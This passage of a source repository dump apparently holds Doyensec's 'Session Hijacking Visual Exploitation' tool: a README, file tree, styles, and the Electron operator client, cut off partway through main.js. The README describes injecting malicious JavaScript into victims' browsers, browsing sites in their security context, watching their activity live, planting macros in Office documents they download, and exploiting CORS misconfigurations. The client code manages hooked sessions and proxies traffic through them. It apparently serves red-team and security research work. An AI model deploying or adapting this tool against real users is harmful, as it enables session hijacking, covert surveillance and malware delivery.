├── .gitignore ├── README.md ├── SHVE_logo.png ├── client ├── .nvmrc ├── assets │ ├── doyensec-logo.svg │ ├── home-video.mp4 │ ├── icons │ │ ├── Android-logo.svg │ │ ├── Chrome-logo.svg │ │ ├── Debian-logo.svg │ │ ├── Edge-logo.svg │ │ ├── Fedora-logo.svg │ │ ├── Firefox-logo.svg │ │ ├── InternetExplorer-logo.svg │ │ ├── Linux-logo.svg │ │ ├── MacOS-logo.svg │ │ ├── Opera-logo.svg │ │ ├── SHVE_logo.png │ │ ├── Safari-logo.svg │ │ ├── Ubuntu-logo.svg │ │ ├── Windows-logo.svg │ │ ├── d-icon.svg │ │ ├── h-icon.svg │ │ ├── iOS-logo.svg │ │ ├── p-icon.svg │ │ ├── trash-icon.svg │ │ └── x-icon.svg │ ├── mouse.png │ └── styles │ │ └── styles.css ├── configuration-renderer.js ├── configuration.html ├── file-list.html ├── index.html ├── interactive.html ├── list-files-renderer.js ├── login.html ├── login.js ├── main.js ├── package-lock.json ├── package.json ├── payloads.html ├── payloadsRenderer.js ├── renderer.js └── visual.html ├── screenshot_0.png ├── screenshot_1.png └── server ├── .nvmrc ├── app.js ├── attackerServer.js ├── files └── .gitkeep ├── package-lock.json ├── package.json ├── proxyServer.js ├── public ├── client.js ├── extractedFiles │ └── .gitkeep ├── files │ └── .gitkeep └── templates │ └── .gitkeep ├── regenerateToken.js ├── register.js ├── setConfig.js └── victimServer.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | server/certs/ 3 | **/.DS_Store 4 | server/files/* 5 | client/dist/* 6 | server/.http-mitm-proxy/* 7 | server/public/files/* 8 | server/public/extractedFiles/* 9 | server/public/templates/* -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Session Hijacking Visual Exploitation 2 | 3 | ![alt Logo](https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/blob/master/SHVE_logo.png?raw=true) 4 | 5 | Session Hijacking Visual Exploitation is a tool that allows for the hijacking of user sessions by injecting malicious JavaScript code. 6 | 7 | ## Installation 8 | 9 | ### Prerequisites 10 | 11 | To run Session Hijacking Visual Exploitation, you will need to have the following software installed: 12 | 13 | * Node.js (version 19.0.0 is recommended due to compatibility issues with newer versions) 14 | * npm 15 | * nvm (Node Version Manager, recommended for easily switching between Node.js versions) 16 | 17 | ### Server Installation 18 | 19 | To install the server, follow these steps: 20 | 21 | 1. Clone the repository from GitHub: 22 | 23 | `git clone git@github.com:doyensec/Session-Hijacking-Visual-Exploitation.git` 24 | 25 | 2. Navigate to the server directory: 26 | 27 | `cd Session-Hijacking-Visual-Exploitation/server` 28 | 29 | 3. Install the server dependencies: 30 | 31 | `npm install` 32 | 33 | ### Client Installation 34 | 35 | Session Hijacking Visual Exploitation provides pre-compiled client applications, which you can download directly from the GitHub releases. If you want to compile the application yourself or develop further, follow these steps: 36 | 37 | #### Direct Download: 38 | 39 | 1. Go to the [Releases](https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/releases) section of the GitHub repository. 40 | 2. Download the suitable package for your OS. 41 | 3. Install the application as you would with any other software on your OS. 42 | 43 | #### Compile & Build Using Electron Builder: 44 | 45 | 1. Clone the repository: 46 | 47 | `git clone git@github.com:doyensec/Session-Hijacking-Visual-Exploitation.git` 48 | 49 | 2. Navigate to the client directory: 50 | 51 | `cd Session-Hijacking-Visual-Exploitation/client` 52 | 53 | 3. Install client dependencies: 54 | 55 | `npm install` 56 | 57 | 4. Build the application for your OS: 58 | 59 | `npm run pack` 60 | 61 | This will generate executable files for your Operative System. The resulting files will be in the `dist` directory. 62 | 63 | ## Node.js Version Recommendation 64 | 65 | Due to compatibility issues with recent Node.js versions, we recommend using Node.js version 19.0.0. You can easily switch to this version using nvm: 66 | 67 | 1. Install `nvm` by following the instructions [here](https://github.com/nvm-sh/nvm#installing-and-updating). 68 | 69 | 2. After installing `nvm`, install and use Node.js version 19.0.0: 70 | 71 | ```bash 72 | nvm install 73 | nvm use 74 | ``` 75 | 76 | With the above commands, your terminal session will now be using Node.js version 19.0.0. 77 | 78 | ## Usage 79 | 80 | To use Session Hijacking Visual Exploitation, follow these steps: 81 | 82 | 1. Start the server: 83 | 84 | `cd Session-Hijacking-Visual-Exploitation/server` 85 | 86 | `npm start` 87 | 88 | The first time the server starts, it will require an initial setup. Follow the provided steps for configuration 89 | 90 | 2. Start the client: 91 | 92 | 3. Log in with the previously created user (it will be required during the configuration) 93 | 94 | 4. On the client, use the button to download the certificate and install it 95 | 96 | 5. Inject the malicious JavaScript in the browser (You can obtain the script in the payloads page) 97 | 98 | ## Configuration 99 | 100 | We provide several options for configuration: 101 | 102 | * `npm run createUser`: Create a new user 103 | * `npm run regenerateToken`: Regenerate the token used for JWT signatures 104 | * `npm run setConfig`: Establish server ports and specify whether SSL will be used. If SSL is to be used, add the privateKey.pem and certificate.pem files to the files directory 105 | 106 | ## Modes 107 | 108 | On the tool you will notice there are two different modes: 109 | 110 | 1. Interactive: It will allow you to access to the different websites using the victim browser's security context 111 | 2. Visual: It will show you what the victim is seing and doing in the hooked browser 112 | 113 | ## Templates 114 | 115 | After starting the server and the client, you have the ability to utilize templates for advanced exploitation: 116 | 117 | * **Office Document Templates**: By uploading templates with the extensions `.docm`, `.pptm`, or `.xslm`, the tool will search for URLs pointing to Word, Excel, or PowerPoint documents. Upon finding them, it downloads the documents, injects the macros from the uploaded templates, and alters the download URL. Consequently, users will download the original document injected with the specified macros. You can view these office documents by clicking on the 'List Files' button. 118 | 119 | * **HTML Template for CORS Exploitation**: If you upload an HTML template, it's primarily used to exploit CORS misconfigurations. Under `/connect`, the uploaded HTML content will be displayed, also injecting the malicious JS. This results in a new client that can be used interactively with sites vulnerable due to improper CORS configurations. 120 | 121 | ## Screenshots 122 | 123 | ![alt Screenshot_0](https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/blob/master/screenshot_0.png?raw=true) 124 | ![alt Screenshot_1](https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/blob/master/screenshot_1.png?raw=true) 125 | -------------------------------------------------------------------------------- /SHVE_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/SHVE_logo.png -------------------------------------------------------------------------------- /client/.nvmrc: -------------------------------------------------------------------------------- 1 | 21.0.0 2 | -------------------------------------------------------------------------------- /client/assets/doyensec-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /client/assets/home-video.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/client/assets/home-video.mp4 -------------------------------------------------------------------------------- /client/assets/icons/Android-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /client/assets/icons/Chrome-logo.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /client/assets/icons/Debian-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /client/assets/icons/Edge-logo.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /client/assets/icons/Fedora-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 20 | 22 | 23 | 25 | image/svg+xml 26 | 28 | 29 | 30 | 31 | 50 | 52 | 59 | 66 | 73 | 74 | 77 | 80 | 84 | 89 | 93 | 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /client/assets/icons/Firefox-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | Firefox Browser logo 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | Firefox Browser logo 117 | 118 | 119 | 120 | -------------------------------------------------------------------------------- /client/assets/icons/InternetExplorer-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 42 | 44 | 45 | 47 | image/svg+xml 48 | 50 | 51 | 52 | 53 | 54 | 59 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /client/assets/icons/MacOS-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /client/assets/icons/Opera-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /client/assets/icons/SHVE_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/client/assets/icons/SHVE_logo.png -------------------------------------------------------------------------------- /client/assets/icons/Safari-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /client/assets/icons/Ubuntu-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /client/assets/icons/Windows-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /client/assets/icons/d-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /client/assets/icons/h-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | HTML5 Logo 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /client/assets/icons/iOS-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | iOS Logo 6 | 7 | 8 | 9 | 11 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /client/assets/icons/p-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | ]> 13 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 26 | 30 | 34 | 37 | 40 | 41 | 42 | 43 | 44 | 45 | 48 | 52 | 53 | -------------------------------------------------------------------------------- /client/assets/icons/trash-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Svg Vector Icons : http://www.onlinewebfonts.com/icon 6 | 7 | -------------------------------------------------------------------------------- /client/assets/icons/x-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | ]> 13 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 24 | 26 | 27 | 29 | 31 | 33 | 35 | 36 | 37 | 38 | 39 | 40 | 42 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /client/assets/mouse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/client/assets/mouse.png -------------------------------------------------------------------------------- /client/assets/styles/styles.css: -------------------------------------------------------------------------------- 1 | :root { 2 | --primary-300: #f8b572; 3 | --primary-500: #fe9832; 4 | --color-text: #a39a8b; 5 | --black-50: #fcf3e2; 6 | --black-50-2: #e5dccb; 7 | --black-100: #e5dccb; 8 | --black-200: #cec5b5; 9 | --black-300: #b8b0a0; 10 | --black-400: #a39a8b; 11 | --black-700: #655d4f; 12 | --black-900: #2c271f; 13 | --background-dark: #1e1a12; 14 | --background-light: #fffdfa; 15 | --dark: #1e1a12; 16 | } 17 | 18 | body { 19 | font-family: Arial, sans-serif; 20 | background-color: var(--background-dark); 21 | color: var(--color-text); 22 | } 23 | 24 | h1 { 25 | font-family: 'Roboto Slab', serif; 26 | font-size: 2.5em; 27 | font-weight: 700; 28 | color: var(--primary-500); 29 | } 30 | 31 | button { 32 | background-color: var(--primary-300); 33 | color: var(--background-dark); 34 | border: none; 35 | padding: 10px; 36 | text-align: center; 37 | text-decoration: none; 38 | display: inline-block; 39 | font-size: 16px; 40 | margin: 4px 2px; 41 | cursor: pointer; 42 | } 43 | 44 | table { 45 | width: 100%; 46 | border-collapse: collapse; 47 | } 48 | 49 | table, th, td { 50 | border: 1px solid var(--black-200); 51 | } 52 | 53 | th { 54 | background-color: var(--black-300); 55 | color: var(--background-light); 56 | } 57 | 58 | td { 59 | background-color: var(--background-light); 60 | color: var(--color-text); 61 | } 62 | 63 | .homepage__hero_animation { 64 | position: absolute; 65 | top: 20%; 66 | left: -20%; 67 | width: 50%; 68 | height: 100vh; 69 | object-fit: cover; 70 | z-index: -1; 71 | } 72 | 73 | img[src='assets/doyensec-logo.svg'] { 74 | width: 150px; 75 | margin-top: 10px; 76 | display: block; 77 | } 78 | 79 | .logo-title { 80 | display: flex; 81 | align-items: center; 82 | } 83 | 84 | .login-title { 85 | display: flex; 86 | flex-direction: column; 87 | align-items: center; 88 | } 89 | 90 | .logo-title img, .logo-title h1 { 91 | margin-right: 10px; 92 | } 93 | 94 | .os-icon, 95 | .browser-icon { 96 | position: relative; 97 | width: 20px; 98 | height: 20px; 99 | } 100 | 101 | .icon-wrapper { 102 | position: relative; 103 | display: inline-block; 104 | } 105 | 106 | .tooltip { 107 | visibility: hidden; 108 | width: 180px; 109 | background-color: var(--primary-500); 110 | color: var(--background-light); 111 | text-align: center; 112 | border-radius: 6px; 113 | padding: 5px 0; 114 | position: absolute; 115 | z-index: 1; 116 | top: 100%; 117 | left: 50%; 118 | margin-left: -60px; 119 | opacity: 0; 120 | transition: opacity 0.3s; 121 | } 122 | 123 | .icon-wrapper:hover .tooltip { 124 | visibility: visible; 125 | opacity: 1; 126 | } 127 | 128 | .container { 129 | display: flex; 130 | flex-direction: column; 131 | justify-content: center; 132 | align-items: center; 133 | height: 100vh; 134 | } 135 | 136 | #login-form { 137 | display: flex; 138 | flex-direction: column; 139 | gap: 10px; 140 | width: 300px; 141 | } 142 | 143 | #login-form input[type="text"], 144 | #login-form input[type="password"] { 145 | padding: 10px; 146 | font-size: 16px; 147 | border: none; 148 | background-color: var(--primary-300); 149 | color: var(--background-dark); 150 | } 151 | 152 | #login-form .ports { 153 | display: flex; 154 | justify-content: space-between; 155 | } 156 | 157 | #login-form .ports div { 158 | display: flex; 159 | flex-direction: column; 160 | } 161 | 162 | #login-form .ports input { 163 | width: 90px; 164 | margin: 0 5px; 165 | } 166 | 167 | .submit-button { 168 | background-color: var(--primary-500); 169 | color: var(--background-dark); 170 | border: none; 171 | padding: 10px; 172 | text-align: center; 173 | text-decoration: none; 174 | display: inline-block; 175 | font-size: 16px; 176 | margin: 4px 2px; 177 | cursor: pointer; 178 | } 179 | 180 | #logout-button { 181 | float: right; 182 | } 183 | 184 | #back-button { 185 | float: right; 186 | } 187 | 188 | #configuration-button { 189 | float: right; 190 | } 191 | 192 | 193 | .file-icon { 194 | width: 80px; 195 | height: 80px; 196 | display: block; 197 | cursor: pointer; 198 | } 199 | 200 | .file-name { 201 | white-space: nowrap; 202 | overflow: hidden; 203 | text-overflow: ellipsis; 204 | max-width: 150px; 205 | cursor: pointer; 206 | } 207 | 208 | .delete-icon:hover { 209 | filter: hue-rotate(90deg); 210 | } 211 | 212 | .configuration-grid { 213 | display: grid; 214 | grid-template-columns: repeat(2, 1fr); 215 | gap: 20px; 216 | } 217 | 218 | .grid-item { 219 | border: 1px solid #ccc; 220 | padding: 20px; 221 | } 222 | 223 | .template-list { 224 | display: flex; 225 | flex-wrap: wrap; 226 | gap: 10px; 227 | align-items: center; 228 | } 229 | 230 | .template-item { 231 | display: flex; 232 | flex-direction: column; 233 | align-items: center; 234 | } 235 | 236 | #button-wrapper::after { 237 | content: ""; 238 | display: table; 239 | clear: both; 240 | } 241 | 242 | #uploadTemplate { 243 | margin-top: 50px; 244 | } 245 | 246 | #login-form input[type="checkbox"] { 247 | -webkit-appearance: none; 248 | -moz-appearance: none; 249 | appearance: none; 250 | width: 37px; 251 | height: 37px; 252 | background: var(--primary-300); 253 | border-radius: 4px; 254 | outline: none; 255 | cursor: pointer; 256 | position: relative; 257 | } 258 | 259 | #login-form input[type="checkbox"]:checked:before { 260 | content: ''; 261 | position: absolute; 262 | top: 50%; 263 | left: 50%; 264 | width: 27px; 265 | height: 27px; 266 | background: var(--background-dark); 267 | border-radius: 2px; 268 | transform: translate(-50%, -50%); 269 | } 270 | 271 | 272 | 273 | 274 | -------------------------------------------------------------------------------- /client/configuration-renderer.js: -------------------------------------------------------------------------------- 1 | const { ipcRenderer } = require('electron'); 2 | const protocol = localStorage.getItem('protocol'); 3 | const ip = localStorage.getItem('ip'); 4 | const token = localStorage.getItem('token'); 5 | const serverPort = localStorage.getItem('serverPort'); 6 | 7 | document.getElementById('back-button').addEventListener('click', () => { 8 | window.location.href = 'index.html'; 9 | }); 10 | 11 | document.getElementById('logout-button').addEventListener('click', () => { 12 | localStorage.removeItem('token'); 13 | localStorage.removeItem('ip'); 14 | localStorage.removeItem('protocol'); 15 | localStorage.removeItem('serverPort'); 16 | window.location.href = 'login.html'; 17 | }); 18 | 19 | const downloadButtons = document.querySelectorAll('.download-btn'); 20 | 21 | downloadButtons.forEach(button => { 22 | button.addEventListener('click', () => { 23 | const templateName = button.getAttribute('data-template'); 24 | const url = `${protocol}://${ip}:${serverPort}/templates/download/${templateName}`; 25 | fetch(url, { 26 | headers: { 'shve-authentication': token }, 27 | }) 28 | .then(response => response.blob()) 29 | .then(blob => { 30 | const objectUrl = URL.createObjectURL(blob); 31 | const link = document.createElement('a'); 32 | link.href = objectUrl; 33 | link.download = templateName; 34 | document.body.appendChild(link); 35 | link.click(); 36 | document.body.removeChild(link); 37 | }) 38 | .catch(error => { 39 | console.error('Error downloading the template', error); 40 | }); 41 | }); 42 | }); 43 | 44 | document.getElementById('upload-btn').addEventListener('click', () => { 45 | const uploadInput = document.getElementById('uploadTemplate'); 46 | if(uploadInput.files.length === 0) { 47 | console.error('No se ha seleccionado ningún archivo para subir.'); 48 | return; 49 | } 50 | 51 | const formData = new FormData(); 52 | formData.append('template', uploadInput.files[0]); 53 | 54 | const url = `${protocol}://${ip}:${serverPort}/templates/upload`; 55 | 56 | fetch(url, { 57 | method: 'POST', 58 | headers: { 'shve-authentication': token }, 59 | body: formData, 60 | }) 61 | .then(response => response.text()) 62 | .then(result => { 63 | if (result === 'Template uploaded successfully') { 64 | console.log('Template uploaded successfully.'); 65 | uploadStatus.textContent = 'Uploaded Successfully'; 66 | uploadStatus.style.color = 'red'; 67 | } else { 68 | console.error('Error uploading the template:', result); 69 | uploadStatus.textContent = 'Error uploading the template'; 70 | uploadStatus.style.color = 'red'; 71 | } 72 | }) 73 | .catch(error => { 74 | console.error('Error uploading the template:', error); 75 | uploadStatus.textContent = 'Error uploading the template'; 76 | uploadStatus.style.color = 'red'; 77 | }); 78 | }); 79 | -------------------------------------------------------------------------------- /client/configuration.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Session Hijacking Visual Exploitation 6 | 7 | 8 | 9 | 10 | 13 |
14 | Doyensec 15 |

Session Hijacking Visual Exploitation

16 |
17 |
18 | 19 | 20 |
21 |
22 |
23 |

Templates

24 |
25 |
26 | DOCM Icon 27 | 28 |
29 |
30 | PPTM Icon 31 | 32 |
33 |
34 | XLSM Icon 35 | 36 |
37 |
38 | HTML Icon 39 | 40 |
41 |
42 | 43 | 44 | 45 |
46 |
47 |
48 |
49 |
50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /client/file-list.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Session Hijacking Visual Exploitation 6 | 7 | 8 | 9 | 10 | 13 |
14 | Doyensec 15 |

Session Hijacking Visual Exploitation

16 |
17 |
18 | 19 | 20 | 21 |
22 |
23 |
24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /client/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Session Hijacking Visual Exploitation 6 | 7 | 8 | 9 | 10 | 11 | 14 |
15 | Doyensec 16 |

Session Hijacking Visual Exploitation

17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |
sessionIDSystem InformationCountryIPActions
36 | 37 | 38 | -------------------------------------------------------------------------------- /client/interactive.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Session: 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 |
14 | 15 | 22 | 23 | -------------------------------------------------------------------------------- /client/list-files-renderer.js: -------------------------------------------------------------------------------- 1 | const { ipcRenderer } = require('electron'); 2 | const protocol = localStorage.getItem('protocol'); 3 | const ip = localStorage.getItem('ip'); 4 | const token = localStorage.getItem('token'); 5 | const serverPort = localStorage.getItem('serverPort'); 6 | 7 | document.getElementById('back-button').addEventListener('click', () => { 8 | window.location.href = 'index.html'; 9 | }); 10 | 11 | document.getElementById('logout-button').addEventListener('click', () => { 12 | localStorage.removeItem('token'); 13 | localStorage.removeItem('ip'); 14 | localStorage.removeItem('protocol'); 15 | localStorage.removeItem('serverPort'); 16 | window.location.href = 'login.html'; 17 | }); 18 | 19 | async function updateFilesList() { 20 | document.getElementById('refresh-file-list').disabled = true; 21 | 22 | try { 23 | const response = await fetch(`${protocol}://${ip}:${serverPort}/files/list`, { 24 | headers: { 'shve-authentication': token }, 25 | }); 26 | 27 | const files = await response.json(); 28 | const filesContainer = document.getElementById('files-scroll-container'); 29 | filesContainer.innerHTML = ''; 30 | filesContainer.style.display = 'flex'; 31 | filesContainer.style.flexWrap = 'wrap'; 32 | filesContainer.style.gap = '20px'; 33 | 34 | files.forEach(file => { 35 | const fileElement = document.createElement('div'); 36 | fileElement.style.margin = '10px'; 37 | fileElement.style.display = 'flex'; 38 | fileElement.style.flexDirection = 'column'; 39 | fileElement.style.alignItems = 'center'; 40 | 41 | const deleteButton = document.createElement('button'); 42 | deleteButton.innerText = 'Remove'; 43 | deleteButton.style.marginTop = '10px'; 44 | 45 | const parts = file.split('-'); 46 | const uuid = parts.slice(0, 5).join('-'); 47 | const displayFileName = parts.slice(5).join('-'); 48 | const fileType = displayFileName.split('.').pop(); 49 | 50 | let icon; 51 | if (fileType.startsWith('p')) { 52 | icon = 'assets/icons/p-icon.svg'; 53 | } else if (fileType.startsWith('d')) { 54 | icon = 'assets/icons/d-icon.svg'; 55 | } else if (fileType.startsWith('x')) { 56 | icon = 'assets/icons/x-icon.svg'; 57 | } else { 58 | icon = 'assets/doyensec-logo.svg'; 59 | } 60 | 61 | fileElement.innerHTML = ` 62 | File Type 63 | ${displayFileName} 64 | `; 65 | 66 | fileElement.style.position = 'relative'; 67 | 68 | fileElement.addEventListener('click', async () => { 69 | try { 70 | const downloadResponse = await fetch(`${protocol}://${ip}:${serverPort}/files/download/${uuid}`, { 71 | headers: { 'shve-authentication': token }, 72 | }); 73 | if (downloadResponse.ok) { 74 | const blob = await downloadResponse.blob(); 75 | const url = window.URL.createObjectURL(blob); 76 | const a = document.createElement('a'); 77 | a.href = url; 78 | a.download = displayFileName; 79 | document.body.appendChild(a); 80 | a.click(); 81 | a.remove(); 82 | } else { 83 | console.error('Error downloading the file.'); 84 | } 85 | } catch (error) { 86 | console.error('Error downloading the file.', error); 87 | } 88 | }); 89 | 90 | deleteButton.addEventListener('click', async (e) => { 91 | e.stopPropagation(); 92 | try { 93 | const deleteResponse = await fetch(`${protocol}://${ip}:${serverPort}/files/delete/${uuid}`, { 94 | method: 'DELETE', 95 | headers: { 'shve-authentication': token }, 96 | }); 97 | if (deleteResponse.ok) { 98 | fileElement.remove(); 99 | console.log('File successfully deleted.'); 100 | } else { 101 | console.error('Error deleting the file.'); 102 | } 103 | } catch (error) { 104 | console.error('Error deleting the file.', error); 105 | } 106 | }); 107 | 108 | fileElement.appendChild(deleteButton); 109 | 110 | filesContainer.appendChild(fileElement); 111 | }); 112 | 113 | } catch (error) { 114 | console.error('Error updating the files.', error); 115 | } finally { 116 | document.getElementById('refresh-file-list').disabled = false; 117 | } 118 | } 119 | 120 | document.getElementById('refresh-file-list').addEventListener('click', updateFilesList); 121 | 122 | updateFilesList(); -------------------------------------------------------------------------------- /client/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Login 6 | 7 | 8 | 9 | 10 | 13 |
14 |
15 | Doyensec 16 |

Login

17 |
18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 |
27 | 28 | 29 |
30 |
31 | 32 | 33 |
34 |
35 | 36 | 37 |
38 |
39 | 40 |
41 |
42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /client/login.js: -------------------------------------------------------------------------------- 1 | document.getElementById('login-form').addEventListener('submit', async (e) => { 2 | e.preventDefault(); 3 | 4 | const ip = document.getElementById('ip').value; 5 | const username = document.getElementById('username').value; 6 | const password = document.getElementById('password').value; 7 | const serverPort = document.getElementById('serverPort').value; 8 | const proxyPort = document.getElementById('proxyPort').value; 9 | const ssl = document.getElementById('ssl').checked; 10 | 11 | const protocol = ssl ? 'https' : 'http'; 12 | 13 | const params = new URLSearchParams(); 14 | params.append('username', username); 15 | params.append('password', password); 16 | 17 | const response = await fetch(`${protocol}://${ip}:${serverPort}/authenticate`, { 18 | method: 'POST', 19 | headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, 20 | body: params 21 | }); 22 | 23 | if (response.ok) { 24 | const { token } = await response.json(); 25 | localStorage.setItem('token', token); 26 | localStorage.setItem('ip', ip); 27 | localStorage.setItem('serverPort', serverPort); 28 | localStorage.setItem('proxyPort', proxyPort); 29 | localStorage.setItem('protocol', protocol); 30 | window.location.href = 'index.html'; 31 | } else { 32 | alert('Invalid username or password'); 33 | } 34 | }); 35 | -------------------------------------------------------------------------------- /client/main.js: -------------------------------------------------------------------------------- 1 | const { app, BrowserWindow, ipcMain, session } = require('electron'); 2 | 3 | app.commandLine.appendSwitch('ignore-certificate-errors'); 4 | 5 | function createWindow() { 6 | const win = new BrowserWindow({ 7 | width: 800, 8 | height: 600, 9 | webPreferences: { 10 | nodeIntegration: true, 11 | contextIsolation: false, 12 | enableRemoteModule: true, 13 | }, 14 | }); 15 | session.defaultSession.clearCache() 16 | win.maximize(); 17 | win.loadFile('login.html'); 18 | } 19 | 20 | app.whenReady().then(createWindow); 21 | 22 | app.on('window-all-closed', () => { 23 | if (process.platform !== 'darwin') { 24 | app.quit(); 25 | } 26 | }); 27 | 28 | app.on('activate', () => { 29 | if (BrowserWindow.getAllWindows().length === 0) { 30 | createWindow(); 31 | } 32 | }); 33 | 34 | ipcMain.on('download-file', async (event, url) => { 35 | try { 36 | const response = await axios({ 37 | url, 38 | method: 'GET', 39 | responseType: 'stream', 40 | headers: { 'shve-authentication': token }, 41 | }); 42 | 43 | const filePath = path.join(__dirname, 'filename'); 44 | const writer = fs.createWriteStream(filePath); 45 | 46 | response.data.pipe(writer); 47 | 48 | writer.on('finish', () => { 49 | console.log('Download Finished'); 50 | }); 51 | 52 | writer.on('error', (error) => { 53 | console.error('There was an error downloading the file', error); 54 | }); 55 | } catch (error) { 56 | console.error('There was an error making the request', error); 57 | } 58 | }); 59 | 60 | ipcMain.on('open-interactive-window', (event, sessionID, ip, proxyPort, serverPort, token) => { 61 | const interactiveWin = new BrowserWindow({ 62 | width: 800, 63 | height: 600, 64 | webPreferences: { 65 | nodeIntegration: true, 66 | contextIsolation: false, 67 | }, 68 | }); 69 | 70 | const proxyConfig = { 71 | proxyRules: ip + ':' + proxyPort, 72 | proxyBypassRules: 'ipapi.co', 73 | }; 74 | 75 | interactiveWin.webContents.session.webRequest.onBeforeSendHeaders((details, callback) => { 76 | details.requestHeaders['SHVE'] = sessionID; 77 | details.requestHeaders['shve-authentication'] = token; 78 | callback({ cancel: false, requestHeaders: details.requestHeaders }); 79 | }); 80 | 81 | interactiveWin.webContents.session.setProxy(proxyConfig).then(() => { 82 | interactiveWin.loadFile('interactive.html').then(() => { 83 | interactiveWin.maximize(); 84 | interactiveWin.webContents.executeJavaScript(`document.title = "Session: ${sessionID}";`); 85 | }); 86 | }); 87 | }); 88 | 89 | ipcMain.on('open-visual-window', (event, sessionID, ip, proxyPort, serverPort, token) => { 90 | const visualWin = new BrowserWindow({ 91 | width: 800, 92 | height: 600, 93 | webPreferences: { 94 | nodeIntegration: true, 95 | contextIsolation: false, 96 | }, 97 | }); 98 | 99 | const proxyConfig = { 100 | proxyRules: ip + ':' + proxyPort, 101 | proxyBypassRules: 'ipapi.co', 102 | }; 103 | 104 | visualWin.webContents.session.webRequest.onBeforeSendHeaders((details, callback) => { 105 | details.requestHeaders['SHVE'] = sessionID; 106 | 